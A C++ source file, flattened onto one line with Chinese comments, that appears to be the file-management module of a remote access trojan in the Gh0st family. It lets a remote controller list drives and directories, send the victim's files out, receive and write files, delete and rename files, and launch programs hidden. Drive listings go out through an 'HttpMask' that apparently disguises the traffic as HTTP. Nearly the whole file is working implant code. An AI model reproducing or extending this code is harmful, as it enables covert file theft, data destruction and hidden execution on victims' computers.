// FileManager.cpp: implementation of the CFileManager class. // ////////////////////////////////////////////////////////////////////// #include "FileManager.h" #include typedef struct { DWORD dwSizeHigh; DWORD dwSizeLow; } FILESIZE; ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient) { m_nTransferMode = TRANSFER_MODE_NORMAL; // 发送驱动器列表, 开始进行文件管理,建立新线程 SendDriveList(); } CFileManager::~CFileManager() { m_UploadList.clear(); } VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { switch (lpBuffer[0]) { case COMMAND_LIST_FILES:// 获取文件列表 SendFilesList((char *)lpBuffer + 1); break; case COMMAND_DELETE_FILE:// 删除文件 DeleteFile((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; case COMMAND_DELETE_DIRECTORY:// 删除文件 DeleteDirectory((char *)lpBuffer + 1); SendToken(TOKEN_DELETE_FINISH); break; case COMMAND_DOWN_FILES: // 上传文件 UploadToRemote(lpBuffer + 1); break; case COMMAND_CONTINUE: // 上传文件 SendFileData(lpBuffer + 1); break; case COMMAND_CREATE_FOLDER: CreateFolder(lpBuffer + 1); break; case COMMAND_RENAME_FILE: Rename(lpBuffer + 1); break; case COMMAND_STOP: StopTransfer(); break; case COMMAND_SET_TRANSFER_MODE: SetTransferMode(lpBuffer + 1); break; case COMMAND_FILE_SIZE: CreateLocalRecvFile(lpBuffer + 1); break; case COMMAND_FILE_DATA: WriteLocalRecvFile(lpBuffer + 1, nSize -1); break; case COMMAND_OPEN_FILE_SHOW: OpenFile((char *)lpBuffer + 1, SW_SHOW); break; case COMMAND_OPEN_FILE_HIDE: OpenFile((char *)lpBuffer + 1, SW_HIDE); break; default: break; } } bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) { LPTSTR p, pszDirCopy; DWORD dwAttributes; // Make a copy of the string for editing. __try { pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); if(pszDirCopy == NULL) return FALSE; lstrcpy(pszDirCopy, pszDirPath); p = pszDirCopy; // If the second character in the path is "\", then this is a UNC // path, and we should skip forward until we reach the 2nd \ in the path. if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) { p++; // Skip over the first \ in the name. p++; // Skip over the second \ in the name. // Skip until we hit the first "\" (\\Server\). while(*p && *p != TEXT('\\')) { p = CharNext(p); } // Advance over it. if(*p) { p++; } // Skip until we hit the second "\" (\\Server\Share\). while(*p && *p != TEXT('\\')) { p = CharNext(p); } // Advance over it also. if(*p) { p++; } } else if(*(p+1) == TEXT(':')) { // Not a UNC. See if it's : p++; p++; // If it exists, skip over the root specifier if(*p && (*p == TEXT('\\'))) { p++; } } while(*p) { if(*p == TEXT('\\')) { *p = TEXT('\0'); dwAttributes = GetFileAttributes(pszDirCopy); // Nothing exists with this name. Try to make the directory name and error if unable to. if(dwAttributes == 0xffffffff) { if(!CreateDirectory(pszDirCopy, NULL)) { if(GetLastError() != ERROR_ALREADY_EXISTS) { free(pszDirCopy); return FALSE; } } } else { if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { // Something exists with this name, but it's not a directory... Error free(pszDirCopy); return FALSE; } } *p = TEXT('\\'); } p = CharNext(p); } } __except(EXCEPTION_EXECUTE_HANDLER) { free(pszDirCopy); return FALSE; } free(pszDirCopy); return TRUE; } bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) { char lpSubKey[500]; HKEY hKey; char strTemp[MAX_PATH]; LONG nSize = sizeof(strTemp); char *lpstrCat = NULL; memset(strTemp, 0, sizeof(strTemp)); const char *lpExt = strrchr(lpFile, '.'); if (!lpExt) return false; if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) return false; RegQueryValue(hKey, NULL, strTemp, &nSize); RegCloseKey(hKey); memset(lpSubKey, 0, sizeof(lpSubKey)); wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp); if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) return false; memset(strTemp, 0, sizeof(strTemp)); nSize = sizeof(strTemp); RegQueryValue(hKey, NULL, strTemp, &nSize); RegCloseKey(hKey); lpstrCat = strstr(strTemp, "\"%1"); if (lpstrCat == NULL) lpstrCat = strstr(strTemp, "%1"); if (lpstrCat == NULL) { lstrcat(strTemp, " "); lstrcat(strTemp, lpFile); } else lstrcpy(lpstrCat, lpFile); STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof si; if (nShowCmd != SW_HIDE) si.lpDesktop = "WinSta0\\Default"; CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return true; } UINT CFileManager::SendDriveList() { char DriveString[256]; // 前一个字节为令牌,后面的52字节为驱动器跟相关属性 BYTE DriveList[1024]; char FileSystem[MAX_PATH]; char *pDrive = NULL; DriveList[0] = TOKEN_DRIVE_LIST; // 驱动器列表 GetLogicalDriveStrings(sizeof(DriveString), DriveString); pDrive = DriveString; unsigned __int64 HDAmount = 0; unsigned __int64 HDFreeSpace = 0; unsigned __int64 AmntMB = 0; // 总大小 unsigned __int64 FreeMB = 0; // 剩余空间 DWORD dwOffset = 1; for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) { memset(FileSystem, 0, sizeof(FileSystem)); // 得到文件系统信息及大小 GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; int nFileSystemLen = lstrlen(FileSystem) + 1; // 计算磁盘大小 if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) { AmntMB = HDAmount / 1024 / 1024; FreeMB = HDFreeSpace / 1024 / 1024; } else { AmntMB = 0; FreeMB = 0; } // 开始赋值 DriveList[dwOffset] = pDrive[0]; DriveList[dwOffset + 1] = GetDriveType(pDrive); // 磁盘空间描述占去了8字节 memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long)); memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long)); // 磁盘卷标名及磁盘类型 memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen); memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen); dwOffset += 10 + nTypeNameLen + nFileSystemLen; } HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask); } UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { // 重置传输方式 m_nTransferMode = TRANSFER_MODE_NORMAL; UINT nRet = 0; char strPath[MAX_PATH]; char *pszFileName = NULL; LPBYTE lpList = NULL; HANDLE hFile; DWORD dwOffset = 0; // 位移指针 int nLen = 0; DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区 WIN32_FIND_DATA FindFileData; lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); if (lpList==NULL) { return 0; } wsprintf(strPath, "%s\\*.*", lpszDirectory); hFile = FindFirstFile(strPath, &FindFileData); if (hFile == INVALID_HANDLE_VALUE) { BYTE bToken = TOKEN_FILE_LIST; return Send(&bToken, 1); } *lpList = TOKEN_FILE_LIST; // 1 为数据包头部所占字节,最后赋值 dwOffset = 1; /* 文件属性 1 文件名 strlen(filename) + 1 ('\0') 文件大小 4 */ do { // 动态扩展缓冲区 if (dwOffset > (nBufferSize - MAX_PATH * 2)) { nBufferSize += MAX_PATH * 2; lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); if (lpList == NULL) continue; } pszFileName = FindFileData.cFileName; if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) continue; // 文件属性 1 字节 *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; dwOffset++; // 文件名 lstrlen(pszFileName) + 1 字节 nLen = lstrlen(pszFileName); memcpy(lpList + dwOffset, pszFileName, nLen); dwOffset += nLen; *(lpList + dwOffset) = 0; dwOffset++; // 文件大小 8 字节 memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD)); memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD)); dwOffset += 8; // 最后访问时间 8 字节 memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME)); dwOffset += 8; } while(FindNextFile(hFile, &FindFileData)); nRet = Send(lpList, dwOffset); LocalFree(lpList); FindClose(hFile); return nRet; } bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory) { WIN32_FIND_DATA wfd; char lpszFilter[MAX_PATH]; wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { if (wfd.cFileName[0] != '.') { if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char strDirectory[MAX_PATH]; wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); DeleteDirectory(strDirectory); } else { char strFile[MAX_PATH]; wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); DeleteFile(strFile); } } } while (FindNextFile(hFind, &wfd)); FindClose(hFind); // 关闭查找句柄 if(!RemoveDirectory(lpszDirectory)) { return FALSE; } return true; } UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) { UINT nRet = 0; DWORD dwSizeHigh; DWORD dwSizeLow; // 1 字节token, 8字节大小, 文件名称, '\0' HANDLE hFile; // 保存当前正在操作的文件名 memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); strcpy(m_strCurrentProcessFileName, lpszFileName); hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) return FALSE; dwSizeLow = GetFileSize(hFile, &dwSizeHigh); CloseHandle(hFile); // 构造数据包,发送文件长度 int nPacketSize = lstrlen(lpszFileName) + 10; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); if (bPacket==NULL) { return 0; } memset(bPacket, 0, nPacketSize); bPacket[0] = TOKEN_FILE_SIZE; FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1); pFileSize->dwSizeHigh = dwSizeHigh; pFileSize->dwSizeLow = dwSizeLow; memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1); nRet = Send(bPacket, nPacketSize); LocalFree(bPacket); return nRet; } UINT CFileManager::SendFileData(LPBYTE lpBuffer) { UINT nRet = 0; FILESIZE *pFileSize; char *lpFileName; pFileSize = (FILESIZE *)lpBuffer; lpFileName = m_strCurrentProcessFileName; // 远程跳过,传送下一个 if (pFileSize->dwSizeLow == -1) { UploadNext(); return 0; } HANDLE hFile; hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) return -1; SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN); int nHeadLength = 9; // 1 + 4 + 4数据包头部大小 DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; DWORD nNumberOfBytesRead = 0; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); if (lpPacket == NULL) return -1; // Token, 大小,偏移,文件名,数据 lpPacket[0] = TOKEN_FILE_DATA; memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); CloseHandle(hFile); if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; nRet = Send(lpPacket, nPacketSize); } else { UploadNext(); } LocalFree(lpPacket); return nRet; } // 传送下一个文件 void CFileManager::UploadNext() { std::list ::iterator it = m_UploadList.begin(); // 删除一个任务 m_UploadList.erase(it); // 还有上传任务 if(m_UploadList.empty()) { SendToken(TOKEN_TRANSFER_FINISH); } else { // 上传下一个 it = m_UploadList.begin(); SendFileSize((*it).c_str()); } } int CFileManager::SendToken(BYTE bToken) { return Send(&bToken, 1); } bool CFileManager::UploadToRemote(LPBYTE lpBuffer) { if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') { FixedUploadList((char *)lpBuffer); if (m_UploadList.empty()) { StopTransfer(); return true; } } else { m_UploadList.push_back((char *)lpBuffer); } std::list ::iterator it = m_UploadList.begin(); // 发送第一个文件 SendFileSize((*it).c_str()); return true; } bool CFileManager::FixedUploadList(LPCTSTR lpPathName) { WIN32_FIND_DATA wfd; char lpszFilter[MAX_PATH]; char *lpszSlash = NULL; memset(lpszFilter, 0, sizeof(lpszFilter)); if (lpPathName[lstrlen(lpPathName) - 1] != '\\') lpszSlash = "\\"; else lpszSlash = ""; wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return false; do { if (wfd.cFileName[0] != '.') { if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char strDirectory[MAX_PATH]; wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); FixedUploadList(strDirectory); } else { char strFile[MAX_PATH]; wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); m_UploadList.push_back(strFile); } } } while (FindNextFile(hFind, &wfd)); FindClose(hFind); // 关闭查找句柄 return true; } void CFileManager::StopTransfer() { if (!m_UploadList.empty()) m_UploadList.clear(); SendToken(TOKEN_TRANSFER_FINISH); } void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer) { FILESIZE *pFileSize = (FILESIZE *)lpBuffer; // 保存当前正在操作的文件名 memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); // 保存文件长度 m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow; // 创建多层目录 MakeSureDirectoryPathExists(m_strCurrentProcessFileName); WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); if (hFind != INVALID_HANDLE_VALUE && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL && m_nTransferMode != TRANSFER_MODE_JUMP_ALL ) { SendToken(TOKEN_GET_TRANSFER_MODE); } else { GetFileData(); } FindClose(hFind); } void CFileManager::GetFileData() { int nTransferMode; switch (m_nTransferMode) { case TRANSFER_MODE_OVERWRITE_ALL: nTransferMode = TRANSFER_MODE_OVERWRITE; break; case TRANSFER_MODE_ADDITION_ALL: nTransferMode = TRANSFER_MODE_ADDITION; break; case TRANSFER_MODE_JUMP_ALL: nTransferMode = TRANSFER_MODE_JUMP; break; default: nTransferMode = m_nTransferMode; } WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; DWORD dwCreationDisposition = 0; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = TOKEN_DATA_CONTINUE; // 文件已经存在 if (hFind != INVALID_HANDLE_VALUE) { // 提示点什么 // 如果是续传 if (nTransferMode == TRANSFER_MODE_ADDITION) { memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); dwCreationDisposition = OPEN_EXISTING; } // 覆盖 else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { // 偏移置0 memset(bToken + 1, 0, 8); // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } // 传送下一个 else if (nTransferMode == TRANSFER_MODE_JUMP) { DWORD dwOffset = -1; memcpy(bToken + 5, &dwOffset, 4); dwCreationDisposition = OPEN_EXISTING; } } else { // 偏移置0 memset(bToken + 1, 0, 8); // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); HANDLE hFile = CreateFile ( m_strCurrentProcessFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0 ); // 需要错误处理 if (hFile == INVALID_HANDLE_VALUE) { m_nCurrentProcessFileLength = 0; return; } CloseHandle(hFile); Send(bToken, sizeof(bToken)); } void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) { // 传输完毕 BYTE *pData; DWORD dwBytesToWrite; DWORD dwBytesWrite; int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE *pFileSize; // 得到数据的偏移 pData = lpBuffer + 8; pFileSize = (FILESIZE *)lpBuffer; // 得到数据在文件中的偏移 LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; dwBytesToWrite = nSize - 8; HANDLE hFile = CreateFile ( m_strCurrentProcessFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); int nRet = 0; // 写入文件 nRet = WriteFile ( hFile, pData, dwBytesToWrite, &dwBytesWrite, NULL ); CloseHandle(hFile); // 为了比较,计数器递增 BYTE bToken[9]; bToken[0] = TOKEN_DATA_CONTINUE; dwOffsetLow += dwBytesWrite; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); Send(bToken, sizeof(bToken)); } void CFileManager::SetTransferMode(LPBYTE lpBuffer) { memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode)); GetFileData(); } void CFileManager::CreateFolder(LPBYTE lpBuffer) { MakeSureDirectoryPathExists((char *)lpBuffer); SendToken(TOKEN_CREATEFOLDER_FINISH); } void CFileManager::Rename(LPBYTE lpBuffer) { LPCTSTR lpExistingFileName = (char *)lpBuffer; LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1; ::MoveFile(lpExistingFileName, lpNewFileName); SendToken(TOKEN_RENAME_FINISH); }